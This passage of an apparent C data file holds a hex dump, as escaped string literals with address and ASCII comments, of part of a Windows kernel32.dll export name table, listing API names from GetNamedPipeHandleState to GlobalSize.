\"\\x65\\x41\\x00\\x47\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x50\\x69\\x70\\x65\\x48\" // eA.GetNamedPipeH\n/* 7C8067C0 */ \"\\x61\\x6E\\x64\\x6C\\x65\\x53\\x74\\x61\\x74\\x65\\x57\\x00\\x47\\x65\\x74\\x4E\" // andleStateW.GetN\n/* 7C8067D0 */ \"\\x61\\x6D\\x65\\x64\\x50\\x69\\x70\\x65\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\" // amedPipeInfo.Get\n/* 7C8067E0 */ \"\\x4E\\x61\\x74\\x69\\x76\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x49\\x6E\\x66\\x6F\" // NativeSystemInfo\n/* 7C8067F0 */ \"\\x00\\x47\\x65\\x74\\x4E\\x65\\x78\\x74\\x56\\x44\\x4D\\x43\\x6F\\x6D\\x6D\\x61\" // .GetNextVDMComma\n/* 7C806800 */ \"\\x6E\\x64\\x00\\x47\\x65\\x74\\x4E\\x6C\\x73\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\" // nd.GetNlsSection\n/* 7C806810 */ \"\\x4E\\x61\\x6D\\x65\\x00\\x47\\x65\\x74\\x4E\\x75\\x6D\\x61\\x41\\x76\\x61\\x69\" // Name.GetNumaAvai\n/* 7C806820 */ \"\\x6C\\x61\\x62\\x6C\\x65\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x47\\x65\\x74\\x4E\" // lableMemory.GetN\n/* 7C806830 */ \"\\x75\\x6D\\x61\\x41\\x76\\x61\\x69\\x6C\\x61\\x62\\x6C\\x65\\x4D\\x65\\x6D\\x6F\" // umaAvailableMemo\n/* 7C806840 */ \"\\x72\\x79\\x4E\\x6F\\x64\\x65\\x00\\x47\\x65\\x74\\x4E\\x75\\x6D\\x61\\x48\\x69\" // ryNode.GetNumaHi\n/* 7C806850 */ \"\\x67\\x68\\x65\\x73\\x74\\x4E\\x6F\\x64\\x65\\x4E\\x75\\x6D\\x62\\x65\\x72\\x00\" // ghestNodeNumber.\n/* 7C806860 */ \"\\x47\\x65\\x74\\x4E\\x75\\x6D\\x61\\x4E\\x6F\\x64\\x65\\x50\\x72\\x6F\\x63\\x65\" // GetNumaNodeProce\n/* 7C806870 */ \"\\x73\\x73\\x6F\\x72\\x4D\\x61\\x73\\x6B\\x00\\x47\\x65\\x74\\x4E\\x75\\x6D\\x61\" // ssorMask.GetNuma\n/* 7C806880 */ \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x6F\\x72\\x4D\\x61\\x70\\x00\\x47\\x65\\x74\" // ProcessorMap.Get\n/* 7C806890 */ \"\\x4E\\x75\\x6D\\x61\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x6F\\x72\\x4E\\x6F\\x64\" // NumaProcessorNod\n/* 7C8068A0 */ \"\\x65\\x00\\x47\\x65\\x74\\x4E\\x75\\x6D\\x62\\x65\\x72\\x46\\x6F\\x72\\x6D\\x61\" // e.GetNumberForma\n/* 7C8068B0 */ \"\\x74\\x41\\x00\\x47\\x65\\x74\\x4E\\x75\\x6D\\x62\\x65\\x72\\x46\\x6F\\x72\\x6D\" // tA.GetNumberForm\n/* 7C8068C0 */ \"\\x61\\x74\\x57\\x00\\x47\\x65\\x74\\x4E\\x75\\x6D\\x62\\x65\\x72\\x4F\\x66\\x43\" // atW.GetNumberOfC\n/* 7C8068D0 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x46\\x6F\\x6E\\x74\\x73\\x00\\x47\\x65\\x74\\x4E\" // onsoleFonts.GetN\n/* 7C8068E0 */ \"\\x75\\x6D\\x62\\x65\\x72\\x4F\\x66\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x6E\" // umberOfConsoleIn\n/* 7C8068F0 */ \"\\x70\\x75\\x74\\x45\\x76\\x65\\x6E\\x74\\x73\\x00\\x47\\x65\\x74\\x4E\\x75\\x6D\" // putEvents.GetNum\n/* 7C806900 */ \"\\x62\\x65\\x72\\x4F\\x66\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4D\\x6F\\x75\\x73\" // berOfConsoleMous\n/* 7C806910 */ \"\\x65\\x42\\x75\\x74\\x74\\x6F\\x6E\\x73\\x00\\x47\\x65\\x74\\x4F\\x45\\x4D\\x43\" // eButtons.GetOEMC\n/* 7C806920 */ \"\\x50\\x00\\x47\\x65\\x74\\x4F\\x76\\x65\\x72\\x6C\\x61\\x70\\x70\\x65\\x64\\x52\" // P.GetOverlappedR\n/* 7C806930 */ \"\\x65\\x73\\x75\\x6C\\x74\\x00\\x47\\x65\\x74\\x50\\x72\\x69\\x6F\\x72\\x69\\x74\" // esult.GetPriorit\n/* 7C806940 */ \"\\x79\\x43\\x6C\\x61\\x73\\x73\\x00\\x47\\x65\\x74\\x50\\x72\\x69\\x76\\x61\\x74\" // yClass.GetPrivat\n/* 7C806950 */ \"\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x49\\x6E\\x74\\x41\\x00\\x47\\x65\\x74\" // eProfileIntA.Get\n/* 7C806960 */ \"\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x49\\x6E\" // PrivateProfileIn\n/* 7C806970 */ \"\\x74\\x57\\x00\\x47\\x65\\x74\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x50\\x72\\x6F\" // tW.GetPrivatePro\n/* 7C806980 */ \"\\x66\\x69\\x6C\\x65\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x41\\x00\\x47\\x65\\x74\" // fileSectionA.Get\n/* 7C806990 */ \"\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x65\" // PrivateProfileSe\n/* 7C8069A0 */ \"\\x63\\x74\\x69\\x6F\\x6E\\x4E\\x61\\x6D\\x65\\x73\\x41\\x00\\x47\\x65\\x74\\x50\" // ctionNamesA.GetP\n/* 7C8069B0 */ \"\\x72\\x69\\x76\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x65\\x63\" // rivateProfileSec\n/* 7C8069C0 */ \"\\x74\\x69\\x6F\\x6E\\x4E\\x61\\x6D\\x65\\x73\\x57\\x00\\x47\\x65\\x74\\x50\\x72\" // tionNamesW.GetPr\n/* 7C8069D0 */ \"\\x69\\x76\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x65\\x63\\x74\" // ivateProfileSect\n/* 7C8069E0 */ \"\\x69\\x6F\\x6E\\x57\\x00\\x47\\x65\\x74\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x50\" // ionW.GetPrivateP\n/* 7C8069F0 */ \"\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\\x47\\x65\" // rofileStringA.Ge\n/* 7C806A00 */ \"\\x74\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\" // tPrivateProfileS\n/* 7C806A10 */ \"\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\\x47\\x65\\x74\\x50\\x72\\x69\\x76\\x61\\x74\" // tringW.GetPrivat\n/* 7C806A20 */ \"\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x74\\x72\\x75\\x63\\x74\\x41\\x00\" // eProfileStructA.\n/* 7C806A30 */ \"\\x47\\x65\\x74\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\" // GetPrivateProfil\n/* 7C806A40 */ \"\\x65\\x53\\x74\\x72\\x75\\x63\\x74\\x57\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x63\" // eStructW.GetProc\n/* 7C806A50 */ \"\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\" // Address.GetProce\n/* 7C806A60 */ \"\\x73\\x73\\x41\\x66\\x66\\x69\\x6E\\x69\\x74\\x79\\x4D\\x61\\x73\\x6B\\x00\\x47\" // ssAffinityMask.G\n/* 7C806A70 */ \"\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x48\\x61\\x6E\\x64\\x6C\\x65\\x43\" // etProcessHandleC\n/* 7C806A80 */ \"\\x6F\\x75\\x6E\\x74\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x48\" // ount.GetProcessH\n/* 7C806A90 */ \"\\x65\\x61\\x70\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x48\\x65\" // eap.GetProcessHe\n/* 7C806AA0 */ \"\\x61\\x70\\x73\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x64\" // aps.GetProcessId\n/* 7C806AB0 */ \"\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x6F\\x43\\x6F\\x75\" // .GetProcessIoCou\n/* 7C806AC0 */ \"\\x6E\\x74\\x65\\x72\\x73\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\" // nters.GetProcess\n/* 7C806AD0 */ \"\\x50\\x72\\x69\\x6F\\x72\\x69\\x74\\x79\\x42\\x6F\\x6F\\x73\\x74\\x00\\x47\\x65\" // PriorityBoost.Ge\n/* 7C806AE0 */ \"\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\" // tProcessShutdown\n/* 7C806AF0 */ \"\\x50\\x61\\x72\\x61\\x6D\\x65\\x74\\x65\\x72\\x73\\x00\\x47\\x65\\x74\\x50\\x72\" // Parameters.GetPr\n/* 7C806B00 */ \"\\x6F\\x63\\x65\\x73\\x73\\x54\\x69\\x6D\\x65\\x73\\x00\\x47\\x65\\x74\\x50\\x72\" // ocessTimes.GetPr\n/* 7C806B10 */ \"\\x6F\\x63\\x65\\x73\\x73\\x56\\x65\\x72\\x73\\x69\\x6F\\x6E\\x00\\x47\\x65\\x74\" // ocessVersion.Get\n/* 7C806B20 */ \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x57\\x6F\\x72\\x6B\\x69\\x6E\\x67\\x53\\x65\" // ProcessWorkingSe\n/* 7C806B30 */ \"\\x74\\x53\\x69\\x7A\\x65\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\" // tSize.GetProfile\n/* 7C806B40 */ \"\\x49\\x6E\\x74\\x41\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x49\" // IntA.GetProfileI\n/* 7C806B50 */ \"\\x6E\\x74\\x57\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x65\" // ntW.GetProfileSe\n/* 7C806B60 */ \"\\x63\\x74\\x69\\x6F\\x6E\\x41\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x66\\x69\\x6C\" // ctionA.GetProfil\n/* 7C806B70 */ \"\\x65\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x57\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\" // eSectionW.GetPro\n/* 7C806B80 */ \"\\x66\\x69\\x6C\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\\x47\\x65\\x74\\x50\" // fileStringA.GetP\n/* 7C806B90 */ \"\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\\x47\\x65\" // rofileStringW.Ge\n/* 7C806BA0 */ \"\\x74\\x51\\x75\\x65\\x75\\x65\\x64\\x43\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x69\\x6F\" // tQueuedCompletio\n/* 7C806BB0 */ \"\\x6E\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x47\\x65\\x74\\x53\\x68\\x6F\\x72\\x74\" // nStatus.GetShort\n/* 7C806BC0 */ \"\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\\x74\\x53\\x68\\x6F\" // PathNameA.GetSho\n/* 7C806BD0 */ \"\\x72\\x74\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x53\" // rtPathNameW.GetS\n/* 7C806BE0 */ \"\\x74\\x61\\x72\\x74\\x75\\x70\\x49\\x6E\\x66\\x6F\\x41\\x00\\x47\\x65\\x74\\x53\" // tartupInfoA.GetS\n/* 7C806BF0 */ \"\\x74\\x61\\x72\\x74\\x75\\x70\\x49\\x6E\\x66\\x6F\\x57\\x00\\x47\\x65\\x74\\x53\" // tartupInfoW.GetS\n/* 7C806C00 */ \"\\x74\\x64\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x47\\x65\\x74\\x53\\x74\\x72\\x69\" // tdHandle.GetStri\n/* 7C806C10 */ \"\\x6E\\x67\\x54\\x79\\x70\\x65\\x41\\x00\\x47\\x65\\x74\\x53\\x74\\x72\\x69\\x6E\" // ngTypeA.GetStrin\n/* 7C806C20 */ \"\\x67\\x54\\x79\\x70\\x65\\x45\\x78\\x41\\x00\\x47\\x65\\x74\\x53\\x74\\x72\\x69\" // gTypeExA.GetStri\n/* 7C806C30 */ \"\\x6E\\x67\\x54\\x79\\x70\\x65\\x45\\x78\\x57\\x00\\x47\\x65\\x74\\x53\\x74\\x72\" // ngTypeExW.GetStr\n/* 7C806C40 */ \"\\x69\\x6E\\x67\\x54\\x79\\x70\\x65\\x57\\x00\\x47\\x65\\x74\\x53\\x79\\x73\\x74\" // ingTypeW.GetSyst\n/* 7C806C50 */ \"\\x65\\x6D\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4C\\x43\\x49\\x44\\x00\\x47\\x65\" // emDefaultLCID.Ge\n/* 7C806C60 */ \"\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4C\\x61\" // tSystemDefaultLa\n/* 7C806C70 */ \"\\x6E\\x67\\x49\\x44\\x00\\x47\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x44\\x65\" // ngID.GetSystemDe\n/* 7C806C80 */ \"\\x66\\x61\\x75\\x6C\\x74\\x55\\x49\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x00\" // faultUILanguage.\n/* 7C806C90 */ \"\\x47\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\" // GetSystemDirecto\n/* 7C806CA0 */ \"\\x72\\x79\\x41\\x00\\x47\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x44\\x69\\x72\" // ryA.GetSystemDir\n/* 7C806CB0 */ \"\\x65\\x63\\x74\\x6F\\x72\\x79\\x57\\x00\\x47\\x65\\x74\\x53\\x79\\x73\\x74\\x65\" // ectoryW.GetSyste\n/* 7C806CC0 */ \"\\x6D\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x50\" // mInfo.GetSystemP\n/* 7C806CD0 */ \"\\x6F\\x77\\x65\\x72\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x47\\x65\\x74\\x53\\x79\" // owerStatus.GetSy\n/* 7C806CE0 */ \"\\x73\\x74\\x65\\x6D\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x51\\x75\\x6F\\x74\" // stemRegistryQuot\n/* 7C806CF0 */ \"\\x61\\x00\\x47\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\" // a.GetSystemTime.\n/* 7C806D00 */ \"\\x47\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x41\\x64\\x6A\" // GetSystemTimeAdj\n/* 7C806D10 */ \"\\x75\\x73\\x74\\x6D\\x65\\x6E\\x74\\x00\\x47\\x65\\x74\\x53\\x79\\x73\\x74\\x65\" // ustment.GetSyste\n/* 7C806D20 */ \"\\x6D\\x54\\x69\\x6D\\x65\\x41\\x73\\x46\\x69\\x6C\\x65\\x54\\x69\\x6D\\x65\\x00\" // mTimeAsFileTime.\n/* 7C806D30 */ \"\\x47\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x73\\x00\\x47\" // GetSystemTimes.G\n/* 7C806D40 */ \"\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x44\" // etSystemWindowsD\n/* 7C806D50 */ \"\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x41\\x00\\x47\\x65\\x74\\x53\\x79\\x73\" // irectoryA.GetSys\n/* 7C806D60 */ \"\\x74\\x65\\x6D\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x44\\x69\\x72\\x65\\x63\\x74\" // temWindowsDirect\n/* 7C806D70 */ \"\\x6F\\x72\\x79\\x57\\x00\\x47\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x57\\x6F\" // oryW.GetSystemWo\n/* 7C806D80 */ \"\\x77\\x36\\x34\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x41\\x00\\x47\\x65\" // w64DirectoryA.Ge\n/* 7C806D90 */ \"\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x57\\x6F\\x77\\x36\\x34\\x44\\x69\\x72\\x65\" // tSystemWow64Dire\n/* 7C806DA0 */ \"\\x63\\x74\\x6F\\x72\\x79\\x57\\x00\\x47\\x65\\x74\\x54\\x61\\x70\\x65\\x50\\x61\" // ctoryW.GetTapePa\n/* 7C806DB0 */ \"\\x72\\x61\\x6D\\x65\\x74\\x65\\x72\\x73\\x00\\x47\\x65\\x74\\x54\\x61\\x70\\x65\" // rameters.GetTape\n/* 7C806DC0 */ \"\\x50\\x6F\\x73\\x69\\x74\\x69\\x6F\\x6E\\x00\\x47\\x65\\x74\\x54\\x61\\x70\\x65\" // Position.GetTape\n/* 7C806DD0 */ \"\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x47\\x65\\x74\\x54\\x65\\x6D\\x70\\x46\\x69\" // Status.GetTempFi\n/* 7C806DE0 */ \"\\x6C\\x65\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\\x74\\x54\\x65\\x6D\\x70\\x46\" // leNameA.GetTempF\n/* 7C806DF0 */ \"\\x69\\x6C\\x65\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x54\\x65\\x6D\\x70\" // ileNameW.GetTemp\n/* 7C806E00 */ \"\\x50\\x61\\x74\\x68\\x41\\x00\\x47\\x65\\x74\\x54\\x65\\x6D\\x70\\x50\\x61\\x74\" // PathA.GetTempPat\n/* 7C806E10 */ \"\\x68\\x57\\x00\\x47\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x43\\x6F\\x6E\\x74\" // hW.GetThreadCont\n/* 7C806E20 */ \"\\x65\\x78\\x74\\x00\\x47\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x49\\x4F\\x50\" // ext.GetThreadIOP\n/* 7C806E30 */ \"\\x65\\x6E\\x64\\x69\\x6E\\x67\\x46\\x6C\\x61\\x67\\x00\\x47\\x65\\x74\\x54\\x68\" // endingFlag.GetTh\n/* 7C806E40 */ \"\\x72\\x65\\x61\\x64\\x4C\\x6F\\x63\\x61\\x6C\\x65\\x00\\x47\\x65\\x74\\x54\\x68\" // readLocale.GetTh\n/* 7C806E50 */ \"\\x72\\x65\\x61\\x64\\x50\\x72\\x69\\x6F\\x72\\x69\\x74\\x79\\x00\\x47\\x65\\x74\" // readPriority.Get\n/* 7C806E60 */ \"\\x54\\x68\\x72\\x65\\x61\\x64\\x50\\x72\\x69\\x6F\\x72\\x69\\x74\\x79\\x42\\x6F\" // ThreadPriorityBo\n/* 7C806E70 */ \"\\x6F\\x73\\x74\\x00\\x47\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x53\\x65\\x6C\" // ost.GetThreadSel\n/* 7C806E80 */ \"\\x65\\x63\\x74\\x6F\\x72\\x45\\x6E\\x74\\x72\\x79\\x00\\x47\\x65\\x74\\x54\\x68\" // ectorEntry.GetTh\n/* 7C806E90 */ \"\\x72\\x65\\x61\\x64\\x54\\x69\\x6D\\x65\\x73\\x00\\x47\\x65\\x74\\x54\\x69\\x63\" // readTimes.GetTic\n/* 7C806EA0 */ \"\\x6B\\x43\\x6F\\x75\\x6E\\x74\\x00\\x47\\x65\\x74\\x54\\x69\\x6D\\x65\\x46\\x6F\" // kCount.GetTimeFo\n/* 7C806EB0 */ \"\\x72\\x6D\\x61\\x74\\x41\\x00\\x47\\x65\\x74\\x54\\x69\\x6D\\x65\\x46\\x6F\\x72\" // rmatA.GetTimeFor\n/* 7C806EC0 */ \"\\x6D\\x61\\x74\\x57\\x00\\x47\\x65\\x74\\x54\\x69\\x6D\\x65\\x5A\\x6F\\x6E\\x65\" // matW.GetTimeZone\n/* 7C806ED0 */ \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x47\\x65\\x74\\x55\" // Information.GetU\n/* 7C806EE0 */ \"\\x73\\x65\\x72\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4C\\x43\\x49\\x44\\x00\\x47\" // serDefaultLCID.G\n/* 7C806EF0 */ \"\\x65\\x74\\x55\\x73\\x65\\x72\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4C\\x61\\x6E\" // etUserDefaultLan\n/* 7C806F00 */ \"\\x67\\x49\\x44\\x00\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x44\\x65\\x66\\x61\\x75\" // gID.GetUserDefau\n/* 7C806F10 */ \"\\x6C\\x74\\x55\\x49\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x00\\x47\\x65\\x74\" // ltUILanguage.Get\n/* 7C806F20 */ \"\\x55\\x73\\x65\\x72\\x47\\x65\\x6F\\x49\\x44\\x00\\x47\\x65\\x74\\x56\\x44\\x4D\" // UserGeoID.GetVDM\n/* 7C806F30 */ \"\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x69\" // CurrentDirectori\n/* 7C806F40 */ \"\\x65\\x73\\x00\\x47\\x65\\x74\\x56\\x65\\x72\\x73\\x69\\x6F\\x6E\\x00\\x47\\x65\" // es.GetVersion.Ge\n/* 7C806F50 */ \"\\x74\\x56\\x65\\x72\\x73\\x69\\x6F\\x6E\\x45\\x78\\x41\\x00\\x47\\x65\\x74\\x56\" // tVersionExA.GetV\n/* 7C806F60 */ \"\\x65\\x72\\x73\\x69\\x6F\\x6E\\x45\\x78\\x57\\x00\\x47\\x65\\x74\\x56\\x6F\\x6C\" // ersionExW.GetVol\n/* 7C806F70 */ \"\\x75\\x6D\\x65\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\" // umeInformationA.\n/* 7C806F80 */ \"\\x47\\x65\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\" // GetVolumeInforma\n/* 7C806F90 */ \"\\x74\\x69\\x6F\\x6E\\x57\\x00\\x47\\x65\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4E\" // tionW.GetVolumeN\n/* 7C806FA0 */ \"\\x61\\x6D\\x65\\x46\\x6F\\x72\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4D\\x6F\\x75\\x6E\" // ameForVolumeMoun\n/* 7C806FB0 */ \"\\x74\\x50\\x6F\\x69\\x6E\\x74\\x41\\x00\\x47\\x65\\x74\\x56\\x6F\\x6C\\x75\\x6D\" // tPointA.GetVolum\n/* 7C806FC0 */ \"\\x65\\x4E\\x61\\x6D\\x65\\x46\\x6F\\x72\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4D\\x6F\" // eNameForVolumeMo\n/* 7C806FD0 */ \"\\x75\\x6E\\x74\\x50\\x6F\\x69\\x6E\\x74\\x57\\x00\\x47\\x65\\x74\\x56\\x6F\\x6C\" // untPointW.GetVol\n/* 7C806FE0 */ \"\\x75\\x6D\\x65\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\\x74\" // umePathNameA.Get\n/* 7C806FF0 */ \"\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\\x65\\x57\\x00\" // VolumePathNameW.\n/* 7C807000 */ \"\\x47\\x65\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\" // GetVolumePathNam\n/* 7C807010 */ \"\\x65\\x73\\x46\\x6F\\x72\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4E\\x61\\x6D\\x65\\x41\" // esForVolumeNameA\n/* 7C807020 */ \"\\x00\\x47\\x65\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x50\\x61\\x74\\x68\\x4E\\x61\" // .GetVolumePathNa\n/* 7C807030 */ \"\\x6D\\x65\\x73\\x46\\x6F\\x72\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4E\\x61\\x6D\\x65\" // mesForVolumeName\n/* 7C807040 */ \"\\x57\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x44\\x69\\x72\\x65\" // W.GetWindowsDire\n/* 7C807050 */ \"\\x63\\x74\\x6F\\x72\\x79\\x41\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\" // ctoryA.GetWindow\n/* 7C807060 */ \"\\x73\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x57\\x00\\x47\\x65\\x74\\x57\" // sDirectoryW.GetW\n/* 7C807070 */ \"\\x72\\x69\\x74\\x65\\x57\\x61\\x74\\x63\\x68\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\" // riteWatch.Global\n/* 7C807080 */ \"\\x41\\x64\\x64\\x41\\x74\\x6F\\x6D\\x41\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x41\" // AddAtomA.GlobalA\n/* 7C807090 */ \"\\x64\\x64\\x41\\x74\\x6F\\x6D\\x57\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x41\\x6C\" // ddAtomW.GlobalAl\n/* 7C8070A0 */ \"\\x6C\\x6F\\x63\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x43\\x6F\\x6D\\x70\\x61\\x63\" // loc.GlobalCompac\n/* 7C8070B0 */ \"\\x74\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\\x74\" // t.GlobalDeleteAt\n/* 7C8070C0 */ \"\\x6F\\x6D\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x46\\x69\\x6E\\x64\\x41\\x74\\x6F\" // om.GlobalFindAto\n/* 7C8070D0 */ \"\\x6D\\x41\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x46\\x69\\x6E\\x64\\x41\\x74\\x6F\" // mA.GlobalFindAto\n/* 7C8070E0 */ \"\\x6D\\x57\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x46\\x69\\x78\\x00\\x47\\x6C\\x6F\" // mW.GlobalFix.Glo\n/* 7C8070F0 */ \"\\x62\\x61\\x6C\\x46\\x6C\\x61\\x67\\x73\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x46\" // balFlags.GlobalF\n/* 7C807100 */ \"\\x72\\x65\\x65\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x47\\x65\\x74\\x41\\x74\\x6F\" // ree.GlobalGetAto\n/* 7C807110 */ \"\\x6D\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x47\\x65\\x74\" // mNameA.GlobalGet\n/* 7C807120 */ \"\\x41\\x74\\x6F\\x6D\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\" // AtomNameW.Global\n/* 7C807130 */ \"\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x4C\\x6F\\x63\" // Handle.GlobalLoc\n/* 7C807140 */ \"\\x6B\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\" // k.GlobalMemorySt\n/* 7C807150 */ \"\\x61\\x74\\x75\\x73\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x4D\\x65\\x6D\\x6F\\x72\" // atus.GlobalMemor\n/* 7C807160 */ \"\\x79\\x53\\x74\\x61\\x74\\x75\\x73\\x45\\x78\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\" // yStatusEx.Global\n/* 7C807170 */ \"\\x52\\x65\\x41\\x6C\\x6C\\x6F\\x63\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x53\\x69\" // ReAlloc.GlobalSi\n/* 7C807180 */ 